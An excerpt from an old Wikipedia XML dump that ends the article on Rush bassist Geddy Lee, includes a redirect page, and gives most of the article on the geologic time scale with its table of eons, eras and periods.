In 2004, ''[[Canadian Jewish News]]'' would feature Lee's reflections upon his mother's experiences and his own [[Jewish]] heritage.  [http://www.cjnews.com/viewarticle.asp?id=4075] 

An award-winning musician, Lee's style, technique, and virtuosity on the [[bass guitar]] have proven very influential in the rock and [[heavy metal music|heavy metal]] genres, inspiring (by their own accounts) such players as [[Steve Harris (musician)|Steve Harris]] of [[Iron Maiden]], [[John Myung]] of [[Dream Theater]], [[Les Claypool]] of [[Primus (band)|Primus]], [[Cliff Burton]] of [[Metallica]], and countless others.  Lee's vocal style, while less influential, is nonetheless distinctive; one ''[[Rolling Stone]]'' critic opined a negative review in the [[Rolling Stone Album Guide]] that Geddy Lee's voice was a cross between [[Robert Plant]]'s and [[Donald Duck]]'s voices.  Reference to the latter in the brief review upset many die-hard fans of Rush and Lee.

[[Image:Geddy-Lee.jpg|left|thumb|200px|Geddy Lee in concert with Rush.&lt;br /&gt;Milan, Italy (September 21, 2004)]]
Lee's first solo effort, ''[[My Favorite Headache]]'', was released in [[2000]]. In addition to his composing, arranging, and performing duties for Rush, Lee has produced albums for various other bands, including [[Rocket Science]], and recorded a short rendition of &quot;[[O Canada]]&quot; with Lifeson included on the ''[[South Park]]'' soundtrack. Geddy Lee is also heard singing the minor hit &quot;Take Off&quot; on the [[McKenzie Brothers]] ([[Rick Moranis]] and [[Dave Thomas (actor)|Dave Thomas]]) 1981 comedy album ''The Great White North: Bob and Doug McKenzie''.

Geddy is also a devoted [[baseball]] fan who performed &quot;O Canada&quot; at the 1993 [[Major League Baseball All-Star Game]], and took batting practice with the then-[[California Angels]] (circa 1992). 

Along with his colleagues [[Alex Lifeson]] and [[Neil Peart]], Lee was made an Officer of the [[Order of Canada]] on [[May 9]], [[1996]].  The trio were the first rock musicians so honoured.

== Instruments ==

Although he has varied his equipment lineup from time to time (experimenting with [[Steinberger]] and Wal basses), Lee has long favored  [[Rickenbacker]] basses (particularly the 4001 model, which he used extensively in studio and live shows during most of the 70's and early 80's up to the [[Signals (album)|Signals]] album) and [[Fender]] Jazz basses. In [[2002]], Fender released the [http://www.fender.com/products/search.php?partno=0257702306 Geddy Lee Jazz Bass], a Jazz built to Lee's specifications, which he now uses extensively on tour. In addition to several aesthetic changes, the instrument features upgraded vintage-style pickups and a ''BadAss II'' bass bridge.

== Awards ==
* Bass Hall of Fame - ''Guitar Player Magazine''
* 6 time winner: &quot;Best Rock Bass&quot; - ''Guitar Player Magazine''
* 1993 - &quot;Best Rock Bass Player&quot; ''Bass Player'' readers' poll


{{Rush}}

[[Category:1953 births|Lee, Geddy]]
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[[Category:Notable baseball fans|Lee, Geddy]]
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  <page>
    <title>Gianfrancesco Poggio Bracciolini</title>
    <id>12965</id>
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      <id>15910611</id>
      <timestamp>2005-04-12T02:11:09Z</timestamp>
      <contributor>
        <username>Zzyzx11</username>
        <id>182902</id>
      </contributor>
      <comment>merged and redirected to [[Gian Francesco Poggio Bracciolini]]</comment>
      <text xml:space="preserve">#REDIRECT [[Gian Francesco Poggio Bracciolini]]</text>
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  </page>
  <page>
    <title>Geologic time scale</title>
    <id>12967</id>
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      <id>41372085</id>
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      <contributor>
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      <comment>/* Table of geologic time */ - minor spelling mistake</comment>
      <text xml:space="preserve">{| align=&quot;right&quot;
|-
| __toc__
|}

The '''geologic time scale''' is used by [[geologist]]s and other scientists to describe the timing and relationships between events that have occurred during the [[history]] of the [[Earth]].  The table of geologic periods presented here is in accordance with the dates and [[nomenclature]] proposed by the [[International Commission on Stratigraphy]], and uses the standard color codes of the [[United States Geologic Survey]].

Current geologic [[Radiometric dating|evidence]] holds that the [[age of the Earth]] is about 4570 million years old.  The geologic or ''[[deep time]]'' of Earth's past has been organized into various units according to events which took place in each period.  Different spans of time on the time scale are usually delimited by major [[geology|geologic]] or [[paleontology|paleontologic]] events, such as [[mass extinction]]s.  For example, the boundary between the [[Cretaceous]] period and the [[Palaeogene]] period is defined by the [[Cretaceous-Tertiary extinction event|extinction event]] that marked the demise of the [[dinosaur]]s and of many marine [[species]]. 

==Graphical timelines==
The second and third timelines are each subsections of their preceding timeline as indicated by asterisks.
{{Timeline Geological Timescale}}

==Terminology==

The largest defined unit of time is the [[Eon (geology)|Eon]].  Eons are divided into Eras, which are in turn divided into Periods, Epochs and Stages.  At the same time, paleontologists define a system of [[faunal stage]]s, of varying lengths, based on changes in the observed fossil assemblages.  In many cases, such faunal stages have been adopted in building the geologic nomenclature, though in general there are far more recognized faunal stages than defined geologic time units.

[[Geologist]]s tend to talk in terms of Upper/Late, Lower/Early and Middle parts of periods and other units -- e.g. &quot;Upper [[Jurassic]]&quot;, &quot;Middle [[Cambrian]]&quot;.  Because geologic units occurring at the same time but from different parts of the world can often look different and contain different fossils, there are many examples where the same period was historically given different names in different locales.  For example, in [[North America]] the Early [[Cambrian]] is refered to as the [[Waucoban]] series that is then subdivided into zones based on [[trilobita|trilobites]].  The same timespan is split into [[Tommotian]], [[Atdabanian]] and [[Botomian]] stages in [[East Asia]] and [[Siberia]].  It is a key aspect of the work of the International Commission on Stratigraphy to reconcile this conflicting terminology and define universal horizons that can be used around the world.

==History of the time scale==

The principles underlying geologic time scales were laid down by [[Nicholas Steno]] in the late 17th century.  Steno argued that rock layers (strata) are laid down in succession, and that each represents a &quot;slice&quot; of time.  He also formulated the [[Law of superposition|principle of superposition]], which states that any given stratum is probably older than those above it and younger than those below it.  Steno's principles were simple; applying them to real rocks proved complex.  Over the course of the 18th century geologists came to realize that: 1) Sequences of strata were often eroded, distorted, tilted, or even inverted after deposition; 2) Strata laid down at the same time in different areas could have entirely different appearances; 3) The strata of any given area represented only part of the Earth's long history.

The first serious attempts to formulate a geological time scale that could be applied anywhere on Earth took place in the late 18th century.  The most influential of those early attempts (championed by [[Abraham Werner]], among others) divided the rocks of the Earth's crust into four types: Primary, Secondary, Tertiary, and Quaternary.  Each type of rock, according to the theory, formed during a specific period in Earth history.  It was thus possible to speak of a &quot;Tertiary Period&quot; as well as of &quot;Tertiary Rocks.&quot;  Indeed, &quot;Tertiary&quot; and &quot;Quaternary&quot; remained in use as names of geological periods well into the 20th century.

The identification of strata by the fossils they contained, pioneered by [[William Smith]], [[Georges Cuvier]], and [[Alexandre Brogniart]] in the early 19th century, enabled geologists to divide Earth history more finely and precisely.  It also enabled them to correlate strata across national (or even continental) boundaries.  If two strata (however distant in space or different in composition) contained the same fossils, chances were good that they had been laid down at the same time.  Detailed studies of the strata and fossils of Europe produced, between 1820 and 1850, the sequence of geological periods still used today.   

British geologists dominated the process, and the names of the periods reflect that dominance.  The &quot;Cambrian,&quot; &quot;Ordovician,&quot; and &quot;Silurian&quot; periods were named for ancient British tribes (and defined using stratigraphic sequences from Wales).  The &quot;Devonian&quot; was named for the British county of [[Devon]], and the name &quot;Carboniferous&quot; was simply an adaptation of &quot;the Coal Measures,&quot; the old British geologists' term for the same set of strata.  The &quot;Permian,&quot; though defined using strata in Russia, was delineated and named by a British geologist: [[Roderick Murchison]].  &lt;!-- The next three periods in the sequence . . . --&gt;

British geologists were also responsible for the grouping of periods into Eras and the subdivision of the Tertiary and Quaternary periods into epochs.

When [[William Smith (geologist)|William Smith]] and [[Sir Charles Lyell]] first recognized that [[rock strata]] represented successive time periods, there was no way to determine what time scale they represented.  [[Creationist]]s proposed dates of only a few thousand years, while others suggested large (and even infinite) ages.  For over 100 years, the age of the [[Earth]] and of the rock strata was the subject of considerable debate until advances in the latter part of the 20th century allowed [[radioactive dating]] to provide relatively firm dates to geologic horizons.  In the intervening century and a half, geologists and paleontologists constructed time scales based solely on the relative positions of different strata and fossils.

In 1977, the Global Commission on Stratigraphy (now the International Commission) started an effort to define global references ([[Global Boundary Stratotype Section and Point|Global Boundary Stratotype Sections and Points]]) for geologic periods and faunal stages.  Their most recent work is described in the 2004 geologic time scale of Gradstein et al. (ISBN 0521786738), and used as the foundation of this page.

==Table of geologic time==
{{mergefrom|List of time periods}}
{| class=&quot;wikitable&quot; border=&quot;3&quot; style=&quot;font-size:95%;&quot;
|-
! [[Eon (geology)|Eon]]
! [[Era (geology)|Era]]
! colspan=&quot;2&quot; | Period&lt;sup&gt;1&lt;/sup&gt;
! Series/&lt;br&gt;Epoch
! Major Events
! Start, Million&lt;br/&gt;Years Ago&lt;sup&gt;2&lt;/sup&gt;
|-
| rowspan=&quot;37&quot; style=&quot;background:#B3E2D1&quot; | [[Phanerozoic|Phane-&lt;br&gt;rozoic]]
| rowspan=&quot;7&quot; style=&quot;background:#FFFF00&quot; | [[Cenozoic]]
| colspan=&quot;2&quot; style=&quot;background:#FDCC8A&quot; rowspan=&quot;4&quot; | [[Neogene]]&lt;sup&gt;3&lt;/sup&gt;
| style=&quot;background:#FFFFB3&quot; | [[Holocene]]
| End of [[ice age|recent glaciation]] and rise of modern [[civilization]]
| style=&quot;background:#FFFFB3&quot; | 0.011430 ± 0.00013 &lt;sup&gt;9&lt;/sup&gt;
|-
| style=&quot;background:#FFFF62&quot; | [[Pleistocene]]
| Flourishing and then extinction of many large [[mammal]]s ([[Pleistocene megafauna]]); Evolution of fully modern [[human]]s
| style=&quot;background:#FFFF62&quot; | 1.806 ± 0.005 &lt;sup&gt;*&lt;/sup&gt;
|-
| style=&quot;background:#FEEBAC&quot; |[[Pliocene]]
| Intensification of present [[ice age]].  Cool and dry [[climate]]; [[Australopithecine]]s appear, many of the existing genera of mammals, and recent [[mollusc]]s appear
| style=&quot;background:#FEEBAC&quot; | 5.332 ± 0.005 &lt;sup&gt;*&lt;/sup&gt;
|-
| style=&quot;background:#FFDE00&quot; | [[Miocene]]
| Moderate climate; [[Orogeny|Mountain building]] in [[northern hemisphere]]; Modern [[mammal]] and [[bird]] families became recognizable.  [[Equidae|Horses]] and [[mastodont]]s diverse.  [[Grass]]es become ubiquitous. First [[hominoid]]s appear. &lt;!-- for reference see the article: &quot;Sahelanthropus tchadensis&quot; --&gt;
| style=&quot;background:#FFDE00&quot; | 23.03 ± 0.05 &lt;sup&gt;*&lt;/sup&gt;
|-
| rowspan=&quot;3&quot; colspan=&quot;2&quot; style=&quot;background:#FFB300&quot; | [[Paleogene]]&lt;br&gt;&lt;sup&gt;3&lt;/sup&gt;
| style=&quot;background:#EAC672&quot; | [[Oligocene]]
| Warm climate; Rapid [[evolution]] and diversification of fauna, especially [[mammal]]s.  Major evolution and dispersal of modern types of [[angiosperm]]s
| style=&quot;background:#EAC672&quot; | 33.9±0.1 &lt;sup&gt;*&lt;/sup&gt;
|-
| style=&quot;background:#EAAD43&quot; | [[Eocene]]
| Archaic [[mammal]]s  (e.g. [[Creodont]]s, [[Condylarth]]s, [[Uintatheriidae|Uintatheres]], etc) flourish and continue to develop during the epoch.  Appearance of several &quot;modern&quot; mammal families.  Primitive [[Cetacea|whales]] diversify.  First grasses.  Reglaciation of [[Antarctica]]; start of current ice age.
| style=&quot;background:#EAAD43&quot; | 55.8±0.2 &lt;sup&gt;*&lt;/sup&gt;
|-
| style=&quot;background:#EB9301&quot; | [[Paleocene]]
| Climate tropical.  Modern [[plant]]s; [[Mammal]]s diversify into a number of primitive lineages following the extinction of the dinosaurs.  First large mammals (up to bear or small hippo size)
| style=&quot;background:#EB9301&quot; | 65.5±0.3 &lt;sup&gt;*&lt;/sup&gt; 
|-
| rowspan=&quot;8&quot; style=&quot;background:#7FAD51&quot; | [[Mesozoic]]
| rowspan=&quot;2&quot; colspan=&quot;2&quot; style=&quot;background:#7FC31C&quot; | [[Cretaceous]]
| style=&quot;background:#DEF197&quot; | [[Late Cretaceous|Upper/Late]]
| rowspan=&quot;2&quot; | [[Flowering plant]]s appear, along with new types of insects.  More modern [[teleost]] fish begin to appear.  [[Ammonite]]s, [[Belemnoidea|belemnites]], [[rudist]]s, [[Echinoidea|echinoid]]s and [[Porifera|sponges]] all common.  Many new types of [[dinosaur]]s (e.g. [[Tyrannosauridae|Tyrannosaurs]], [[Titanosauridae|Titanosaurs]], [[Hadrosauridae|duck bills]], and [[Ceratopsidae|horned dinosaurs]]) evolve on land, as do [[Eusuchia|modern crocodilians]]; and [[mosasaur]]s and modern sharks appear in the sea.  Primitive [[Aves|birds]] gradually replace pterosaurs.  [[Monotremes]], [[marsupial]]s and [[placental]] mammals appear.  Break up of [[Gondwana]].
| style=&quot;background:#DEF197&quot; | 99.6±0.9 &lt;sup&gt;*&lt;/sup&gt;
|-
| style=&quot;background:#B3DF7F&quot; | [[Early Cretaceous|Lower/Early]]
| style=&quot;background:#B3DF7F&quot; | 145.5 ± 4.0
|-
| rowspan=&quot;3&quot; colspan=&quot;2&quot; style=&quot;background:#4DB47E&quot; | [[Jurassic]]
| style=&quot;background:#CCEBC5&quot; | [[Late Jurassic|Upper/Late]]
| rowspan=&quot;3&quot; | Gymnosperms (especially [[conifer]]s, [[Bennettitales]] and [[cycad]]s) and [[fern]]s common.  Many types of [[dinosaur]]s, such as [[sauropod]]s, [[carnosaur]]s, and [[stegosaur]]s. Mammals common but small.  First [[bird]]s and [[Squamata|lizards]].  [[Ichthyosaur]]s and [[plesiosaur]]s diverse.  [[Bivalve]]s, [[Ammonite]]s and [[Belemnoidea|belemnites]] abundant.  [[Echinoidea|Echinoid]]s very common, also  [[crinoid]]s, starfish, [[Porifera|sponges]], and [[Terebratulida|terebratulid]] and [[Rhynchonellida|rhynchonellid]] [[brachiopod]]s.  Breakup of [[Pangea]] into [[Gondwana]] and [[Laurasia]].
| style=&quot;background:#CCEBC5&quot; | 161.2 ± 4.0
|-
| style=&quot;background:#7FCA93&quot; | [[Middle Jurassic|Middle]]
| style=&quot;background:#7FCA93&quot; | 175.6 ± 2.0 &lt;sup&gt;*&lt;/sup&gt;
|-
| style=&quot;background:#66C292&quot; | [[Early Jurassic|Lower/Early]]
| style=&quot;background:#66C292&quot; | 199.6 ± 0.6
|-
| rowspan=&quot;3&quot; colspan=&quot;2&quot; style=&quot;background:#67C3B7&quot; | [[Triassic]]
| style=&quot;background:#CCECE1&quot; | [[Late Triassic|Upper/Late]]
| rowspan=&quot;3&quot; | [[Archosaur]]s dominant and diverse on land, include many large forms; [[cynodont]]s become smaller and more mammal-like.  First [[dinosaur]]s, [[mammal]]s, [[pterosaur]]s, and [[crocodilia]].  ''[[Dicrodium]]'' flora common on land. Many large aquatic [[temnospondyli|temnospondyl]] amphibians.   [[Ichthyosaur]]s and [[nothosaur]]s common in the seas. [[Ammonite|Ceratitic ammonoids]] extremely common.  [[Scleractinia|Modern corals]] and [[teleost]] fish appear, as do many modern [[insect]] clades.
| style=&quot;background:#CCECE1&quot; | 228.0 ± 2.0
|-
| style=&quot;background:#99D7BE&quot; | [[Middle Triassic|Middle]]
| style=&quot;background:#99D7BE&quot; | 245.0 ± 1.5
|-
| style=&quot;background:#67B39F&quot; | [[Early Triassic|Lower/Early]]
| style=&quot;background:#67B39F&quot; | 251.0 ± 0.4 &lt;sup&gt;*&lt;/sup&gt; 
|-
| rowspan=&quot;22&quot; style=&quot;background:#80B5D5&quot; | [[Paleozoic]]
| rowspan=&quot;3&quot; colspan=&quot;2&quot; style=&quot;background:#67C6DE&quot; | [[Permian]]
| style=&quot;background:#B3E3EE&quot; | [[Lopingian]]
| rowspan=&quot;3&quot;| Landmass unites in the supercontinent of [[Pangea]].  [[Synapsid]] [[reptile]]s become common ([[Pelycosaur]]s and [[Therapsid]]s), [[parareptile]]s and [[temnospondyli|temnospondyl]] amphibians also remain common.  Carboniferous flora replaced by gymnosperms in the middle of the period.  [[Coleoptera|Beetles]] and [[Diptera|flies]] evolve.  Marine life flourishes in the warm shallow reefs.  [[Productida|Productid]] and [[Spiriferida|spiriferid]] brachiopods, bivalves, [[foraminifera]], and ammonoids all abundant. End of Permo-carboniferous ice age.  At the end of the period the [[Permian extinction]] event- 95% of life on Earth becomes extinct
| style=&quot;background:#B3E3EE&quot; |  260.4 ± 0.7 &lt;sup&gt;*&lt;/sup&gt;
|-
| style=&quot;background:#99D8D8&quot; | [[Guadalupian]]
| style=&quot;background:#99D8D8&quot; | 270.6 ± 0.7 &lt;sup&gt;*&lt;/sup&gt;
|-
| style=&quot;background:#80CEC9&quot; | [[Cisuralian]] 
| style=&quot;background:#80CEC9&quot; | 299.0 ± 0.8 &lt;sup&gt;*&lt;/sup&gt;
|-
| rowspan=&quot;3&quot; colspan=&quot;2&quot; style=&quot;background:#689FCA&quot; | [[Carboniferous|Carbon-&lt;br&gt;iferous]]&lt;sup&gt;4&lt;/sup&gt; '''/'''&lt;br&gt;[[Pennsylvanian|Pennsyl-&lt;br&gt;vanian]]
| style=&quot;background:#689FCA&quot; | [[Late Pennsylvanian|Upper/Late]]
| rowspan=&quot;3&quot; | [[Pterygota|Winged insects]] appear and are abundant, some (esp. [[Protodonata]] and [[Palaeodictyoptera]]) growing to large size.  [[Amphibian]]s common  and diverse.  First [[reptile]]s, [[coal]] forests (''[[Lepidodendron]]'', ''[[Sigillaria]]'', ''[[Calamites]]'', ''[[Cordaites]]'', etc), very high atmospheric [[oxygen]] content. In the seas, Goniatites, brachiopods, bryozoa, bivalves, corals, etc all common. 
| style=&quot;background:#689FCA&quot; | 306.5 ± 1.0
|-
| style=&quot;background:#689FCA&quot; | [[Middle Pennsylvanian|Middle]]
| style=&quot;background:#689FCA&quot; | 311.7 ± 1.1
|-
| style=&quot;background:#689FCA&quot; | [[Early Pennsylvanian|Lower/Early]]
| style=&quot;background:#689FCA&quot; | 318.1 ± 1.3 &lt;sup&gt;*&lt;/sup&gt;
|-
| rowspan=&quot;3&quot; colspan=&quot;2&quot; style=&quot;background:#8091AD&quot; | [[Carboniferous|Carbon-&lt;br&gt;iferous]]&lt;sup&gt;4&lt;/sup&gt; '''/'''&lt;br&gt;[[Mississippian|Missis-&lt;br&gt;sippian]]
| style=&quot;background:#8091AD&quot; | [[Late Mississippian|Upper/Late]]
| rowspan=&quot;3&quot; | Large primitive [[tree]]s, first [[tetrapod|land vertebrates]], brackish water and amphibious [[eurypterid]]s; [[rhizodont]]s dominant fresh-water predators.  In the seas primitive [[Chondrichthyes|sharks]] common and very diverse, [[echinoderm]]s (especially [[crinoid]]s and [[blastoid]]s) abundant, [[Coral]]s, [[bryozoa]], and brachiopods ([[Productida]], [[Spriferida]], etc) very common; [[Goniatite]]s common, [[trilobite]]s and [[nautiloid]]s in decline.   [[Glaciation]] in East [[Gondwana]].
| style=&quot;background:#8091AD&quot; | 326.4 ± 1.6
|-
| style=&quot;background:#8091AD&quot; | [[Middle Mississippian|Middle]]
| style=&quot;background:#8091AD&quot; | 345.3 ± 2.1
|-
| style=&quot;background:#8091AD&quot; | [[Early Mississippian|Lower/Early]]
| style=&quot;background:#8091AD&quot; | 359.2 ± 2.5 &lt;sup&gt;*&lt;/sup&gt;
|-
| rowspan=&quot;3&quot; colspan=&quot;2&quot; style=&quot;background:#9999C9&quot; | [[Devonian]]
| style=&quot;background:#CBBDDC&quot; | [[Late Devonian|Upper/Late]]
| rowspan=&quot;3&quot;|  First [[clubmoss]]es and [[horsetail]]s appear, [[progymnosperm]]s (first seed bearing plants) appear, first trees ([[Archaeopteris]]).  First (wingless) insects.  In the sea [[Strophomenida|strophomenid]] and [[Atrypida|atrypid]] [[brachiopod]]s, [[Rugosa|rugose]] and [[Tabulata|tabulate]] corals, and [[crinoid]]s are abundant. Goniatitic [[ammonoid]]s are common, and [[Coleoidea|coleoids]] appear.  Trilobites reduced in numbers.  Armoured agnaths decline; Jawed fish ([[Placodermi|Placoderm]]s, [[Sarcopterygii|lobe-finned]] and [[Osteichthyes|ray-finned]] fish, and early [[Chondrichthyes|sharks]]) important life in the sea.   First [[Tetrapod|amphibian]]s (but still aquatic).  &quot;Old Red Continent&quot; ([[Euramerica]])
| style=&quot;background:#CBBDDC&quot; | 385.3 ± 2.6 &lt;sup&gt;*&lt;/sup&gt;
|-
| style=&quot;background:#9983BE&quot; | [[Middle Devonian|Middle]]
| style=&quot;background:#9983BE&quot; | 397.5 ± 2.7 &lt;sup&gt;*&lt;/sup&gt;
|-
| style=&quot;background:#807DBA&quot; | [[Early Devonian|Lower/Early]]
| style=&quot;background:#807DBA&quot; | 416.0 ± 2.8 &lt;sup&gt;*&lt;/sup&gt;
|-
| rowspan=&quot;4&quot; colspan=&quot;2&quot; style=&quot;background:#B172B6&quot; | [[Silurian]]
| style=&quot;background:#E9C7E2&quot; | [[Pridoli]]
| rowspan=&quot;4&quot;| First vascular land [[plant]]s, [[millipede]]s and [[Arthropleurida|arthropleurids]], first jawed [[fish]], as well as many types of [[ostracoderm|armoured]] [[agnatha|jawless forms]].  [[Eurypterid|sea-scorpions]] reach large size. [[Tabulata|tabulate]] and [[Rugosa|rugose]] corals, [[brachiopod]]s ([[Pentamerida]], [[Rhynchonellida]], etc), and [[crinoid]]s all abundant; [[trilobite]]s and [[mollusc]]s diverse.  [[Graptolite]]s not as varied.
| style=&quot;background:#E9C7E2&quot; | 418.7 ± 2.7 &lt;sup&gt;*&lt;/sup&gt;
|-
| style=&quot;background:#CAA7D1&quot; | [[Ludlow epoch|Ludlow]]
| style=&quot;background:#CAA7D1&quot; | 422.9 ± 2.5 &lt;sup&gt;*&lt;/sup&gt;
|-
| style=&quot;background:#B189B3&quot; | [[Wenlock epoch|Wenlock]]
| style=&quot;background:#B189B3&quot; | 428.2 ± 2.3 &lt;sup&gt;*&lt;/sup&gt;
|-
| style=&quot;background:#9858A8&quot; | [[Llandovery epoch|Llandovery]]
| style=&quot;background:#9858A8&quot; | 443.7 ± 1.5 &lt;sup&gt;*&lt;/sup&gt; 
|-
| rowspan=&quot;3&quot; colspan=&quot;2&quot; style=&quot;background:#F981A6&quot; | [[Ordovician]]
| style=&quot;background:#FBB4BD&quot; | [[Late Ordovician|Upper/Late]]
| rowspan=&quot;3&quot; | [[Invertebrate]]s very diverse and include many new types.  Early corals, [[Brachiopod]]s ([[Orthida]], [[Strophomenida]], etc), [[bivalve]]s, [[nautiloid]]s, [[trilobite]]s, [[ostracod]]s, [[bryozoa]], many types of [[echinoderms]] ([[Cystoidea|cystoids]], [[crinoid]]s, starfish, etc), branched [[graptolite]]s, and other taxa all common.  [[Conodont]]s were [[plankton]]ic primitive [[vertebrate]]s that appear at the start of the Ordovician.  Ice age at the end of the period.  First very primitive land [[plant]]s.
| style=&quot;background:#FBB4BD&quot; | 460.9 ± 1.6 &lt;sup&gt;*&lt;/sup&gt;
|-
| style=&quot;background:#FA9AB1&quot; | [[Middle Ordovician|Middle]]
| style=&quot;background:#FA9AB1&quot; | 471.8 ± 1.6 
|-
| style=&quot;background:#E67DA4&quot; | [[Early Ordovician|Lower/Early]]
| style=&quot;background:#E67DA4&quot; | 488.3 ± 1.7 &lt;sup&gt;*&lt;/sup&gt; 
|-
| rowspan=&quot;3&quot; colspan=&quot;2&quot; style=&quot;background:#FB805F&quot; | [[Cambrian]]
| style=&quot;background:#FDCDB8&quot; | [[Furongian]]
| rowspan=&quot;3&quot; | Major diversification of life in the [[Cambrian Explosion]]; more than half of modern animal [[Phylum (biology)|phyla]] appear, along with a number of extinct and problematic forms.  [[Archeocyatha]] abundant in the early Cambrian.  [[Trilobite]]s, [[Priapulida]], [[Porifera|sponges]], inarticulate [[brachiopod]]s, and many other forms all common.  First [[chordate]]s appear.  [[Anomalocaris|anomalocarids]] are top predators.  Edicarian animals rare, then die out.
| style=&quot;background:#FDCDB8&quot; | 501.0 ± 2.0 &lt;sup&gt;*&lt;/sup&gt;
|-
| style=&quot;background:#E8AE97&quot; | [[Middle Cambrian|Middle]]
| style=&quot;background:#E8AE97&quot; | 513.0 ± 2.0
|-
| style=&quot;background:#E77C72&quot; | [[Early Cambrian|Lower/Early]]
| style=&quot;background:#E77C72&quot; | 542.0 ± 1.0 &lt;sup&gt;*&lt;/sup&gt; 
|-
| rowspan=&quot;10&quot; style=&quot;background:#CCD891&quot; | [[Proterozoic|Proter-&lt;br&gt;ozoic]]&lt;br&gt;&lt;sup&gt;5&lt;/sup&gt;
| rowspan=&quot;3&quot; style=&quot;background:#CAA595&quot; | [[Neoproterozoic|Neo-&lt;br&gt;proterozoic]]
| colspan=&quot;2&quot; style=&quot;background:#EAD8BC&quot; | [[Ediacaran]]
| colspan=&quot;2&quot; | First [[metazoa|multi-celled animals]].  Ediacaran fauna ([[Vendian biota|vendobionta]]) flourish worldwide.  Simple [[trace fossil]]s from worm-like animals.  First [[Porifera|sponges]].
| style=&quot;background:#EAD8BC&quot; | 630 +5/-30 &lt;sup&gt;*&lt;/sup&gt;
|-
| colspan=&quot;2&quot; style=&quot;background:#DCABAA&quot; | [[Cryogenian]]
| colspan=&quot;2&quot; | Possible [[snowball Earth]] period, [[Rodinia]] begins to break up
| style=&quot;background:#DCABAA&quot; | 850 &lt;sup&gt;6&lt;/sup&gt;
|-
| colspan=&quot;2&quot; style=&quot;background:#CBA46C&quot; | [[Tonian]]
| colspan=&quot;2&quot; | First [[acritarch]] radiation
| style=&quot;background:#CBA46C&quot; | 1000 &lt;sup&gt;6&lt;/sup&gt;
|-
| rowspan=&quot;3&quot; style=&quot;background:#DDC288&quot; | [[Mesoproterozoic|Meso-&lt;br&gt;proterozoic]]
| colspan=&quot;2&quot; style=&quot;background:#DDC288&quot; | [[Stenian]]
| colspan=&quot;2&quot; | Narrow highly [[metamorphic]] belts due to [[orogeny]] as [[Rodinia]] formed.
| style=&quot;background:#DDC288&quot; | 1200 &lt;sup&gt;6&lt;/sup&gt;
|-
| colspan=&quot;2&quot; style=&quot;background:#DDC288&quot; | [[Ectasian]]
| colspan=&quot;2&quot; | [[Platform cover]]s continue to expand
| style=&quot;background:#DDC288&quot; | 1400 &lt;sup&gt;6&lt;/sup&gt;
|-
| colspan=&quot;2&quot; style=&quot;background:#DDC288&quot; | [[Calymmian]]
| colspan=&quot;2&quot; | [[Platform cover]]s expand
| style=&quot;background:#DDC288&quot; | 1600 &lt;sup&gt;6&lt;/sup&gt;
|-
| rowspan=&quot;4&quot; style=&quot;background:#B3B25E&quot; | [[Paleoproterozoic|Paleo-&lt;br&gt;proterozoic]]
| colspan=&quot;2&quot; style=&quot;background:#B3B25E&quot; | [[Statherian]]
| colspan=&quot;2&quot; | First [[Eukaryote|complex single-celled life]]. [[Columbia (supercontinent)]].
| style=&quot;background:#B3B25E&quot; | 1800 &lt;sup&gt;6&lt;/sup&gt;
|-
| colspan=&quot;2&quot; style=&quot;background:#B3B25E&quot; | [[Orosirian]]
| colspan=&quot;2&quot; | The [[Earth's atmosphere|atmosphere]] became [[oxygen]]ic. [[Vredefort crater|Vredefort]] and [[Sudbury Basin]] asteroid impacts. Much [[orogeny]].
| style=&quot;background:#B3B25E&quot; | 2050 &lt;sup&gt;6&lt;/sup&gt;
|-
| colspan=&quot;2&quot; style=&quot;background:#B3B25E&quot; | [[Rhyacian]]
| colspan=&quot;2&quot; | [[Bushveld|Bushveld Formation]] formed. [[Huronian]] glaciation.
| style=&quot;background:#B3B25E&quot; | 2300 &lt;sup&gt;6&lt;/sup&gt;
|-
| colspan=&quot;2&quot; style=&quot;background:#B3B25E&quot; | [[Siderian]]
| colspan=&quot;2&quot; | [[ banded iron formation]]s formed
| style=&quot;background:#B3B25E&quot; | 2500 &lt;sup&gt;6&lt;/sup&gt;
|-
| rowspan=&quot;4&quot; style=&quot;background:#99ADAC&quot; | [[Archean]]&lt;br&gt;&lt;sup&gt;5&lt;/sup&gt;
| style=&quot;background:#CBCDC8&quot; | [[Neoarchean]]
| colspan=&quot;4&quot; | Stabilization of most modern [[craton]]s, possible [[Mantle (geology)|mantle]] overturn event
| style=&quot;background:#CBCDC8&quot; | 2800 &lt;sup&gt;6&lt;/sup&gt;
|-
| style=&quot;background:#B2B5AF&quot; | [[Mesoarchean]]
| colspan=&quot;4&quot; | First [[stromatolite]]s
| style=&quot;background:#B2B5AF&quot; | 3200 &lt;sup&gt;6&lt;/sup&gt;
|-
| style=&quot;background:#999791&quot; | [[Paleoarchean]]
| colspan=&quot;4&quot; | First known [[phototroph|oxygen producing]] [[bacteria]]
| style=&quot;background:#999791&quot; | 3600 &lt;sup&gt;6&lt;/sup&gt;
|-
| style=&quot;background:#809090&quot; | [[Eoarchean]]
| colspan=&quot;4&quot; | [[Prokaryote|Simple single-celled life]]
| style=&quot;background:#809090&quot; | 3800
|-
| style=&quot;background:#809090&quot; rowspan=&quot;4&quot; | [[Hadean]]&lt;br&gt;&lt;sup&gt;5,7&lt;/sup&gt;
| style=&quot;background:#809090&quot; | [[Lower Imbrian]]&lt;sup&gt;8&lt;/sup&gt;
| colspan=&quot;4&quot; | &amp;nbsp;
| style=&quot;background:#809090&quot; | c.3850
|-
| style=&quot;background:#809090&quot; | [[Nectarian]]&lt;sup&gt;8&lt;/sup&gt;
| colspan=&quot;4&quot; | &amp;nbsp;
| style=&quot;background:#809090&quot; | c.3920
|-
| style=&quot;background:#809090&quot; | [[Basin groups]]&lt;sup&gt;8&lt;/sup&gt;
| colspan=&quot;4&quot; | 4100 [[annum|Ma]] - Oldest known rock
| style=&quot;background:#809090&quot; | c.4150
|-
| style=&quot;background:#809090&quot; | [[Cryptic era|Cryptic]]&lt;sup&gt;8&lt;/sup&gt;
| colspan=&quot;4&quot; | 4400 Ma - Oldest known mineral; 4570 Ma - Formation of [[Earth]]
| style=&quot;background:#809090&quot; | c.4570
|}

&lt;div style=&quot;font-size:90%;&quot;&gt;
# Paleontologists often refer to [[faunal stage]]s rather than geologic periods.  The stage nomenclature is quite complex.  See [http://flatpebble.nceas.ucsb.edu/cgi-bin/bridge.pl?action=startScale Harland] for an excellent time ordered list of faunal stages.
